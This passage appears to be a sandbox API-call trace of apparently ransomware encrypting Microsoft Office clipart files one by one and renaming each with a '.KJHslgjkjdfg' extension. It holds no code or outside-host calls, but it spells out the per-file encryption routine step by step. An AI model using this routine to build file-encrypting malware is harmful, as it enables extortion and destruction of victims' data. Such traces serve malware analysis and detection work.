Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.293] GetProcessHeap () returned 0x2ef0000 [0196.293] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.293] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.293] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.295] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.295] GetProcessHeap () returned 0x2ef0000 [0196.295] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.295] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.295] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.295] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.295] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.295] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.295] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.296] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xce2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xce2, lpOverlapped=0x0) returned 1 [0196.296] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcf0, dwBufLen=0xcf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcf0) returned 1 [0196.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.296] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcf0, lpOverlapped=0x0) returned 1 [0196.296] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.296] SetEndOfFile (hFile=0x130) returned 1 [0196.298] GetProcessHeap () returned 0x2ef0000 [0196.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.298] GetProcessHeap () returned 0x2ef0000 [0196.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.kjhslgjkjdfg")) returned 1 [0196.299] CloseHandle (hObject=0x130) returned 1 [0196.299] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0196.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.300] GetProcessHeap () returned 0x2ef0000 [0196.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.300] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.300] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.302] GetProcessHeap () returned 0x2ef0000 [0196.302] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.302] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.302] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.303] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x332, lpOverlapped=0x0) returned 1 [0196.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x340, dwBufLen=0x340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x340) returned 1 [0196.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.303] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x340, lpOverlapped=0x0) returned 1 [0196.304] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.304] SetEndOfFile (hFile=0x130) returned 1 [0196.304] GetProcessHeap () returned 0x2ef0000 [0196.304] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.305] GetProcessHeap () returned 0x2ef0000 [0196.305] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.kjhslgjkjdfg")) returned 1 [0196.305] CloseHandle (hObject=0x130) returned 1 [0196.305] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0196.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.306] GetProcessHeap () returned 0x2ef0000 [0196.306] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.306] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.306] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.306] GetProcessHeap () returned 0x2ef0000 [0196.306] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.306] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.306] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.306] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.309] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.309] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.309] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3960, lpOverlapped=0x0) returned 1 [0196.310] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3960, dwBufLen=0x3960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3960) returned 1 [0196.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.310] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3960, lpOverlapped=0x0) returned 1 [0196.310] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.310] SetEndOfFile (hFile=0x130) returned 1 [0196.313] GetProcessHeap () returned 0x2ef0000 [0196.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.313] GetProcessHeap () returned 0x2ef0000 [0196.313] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.kjhslgjkjdfg")) returned 1 [0196.313] CloseHandle (hObject=0x130) returned 1 [0196.314] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0196.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.314] GetProcessHeap () returned 0x2ef0000 [0196.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.314] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.314] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.316] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.316] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.316] GetProcessHeap () returned 0x2ef0000 [0196.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.316] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.316] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.316] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.316] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.316] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.317] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.317] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x34e2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x34e2, lpOverlapped=0x0) returned 1 [0196.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x34f0, dwBufLen=0x34f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x34f0) returned 1 [0196.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.318] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x34f0, lpOverlapped=0x0) returned 1 [0196.318] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x35c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.318] SetEndOfFile (hFile=0x130) returned 1 [0196.320] GetProcessHeap () returned 0x2ef0000 [0196.320] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.320] GetProcessHeap () returned 0x2ef0000 [0196.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.kjhslgjkjdfg")) returned 1 [0196.321] CloseHandle (hObject=0x130) returned 1 [0196.321] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0196.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.323] GetProcessHeap () returned 0x2ef0000 [0196.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.323] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.323] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.325] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.325] CryptSetKeyParam (hKey=0x2f182c8, 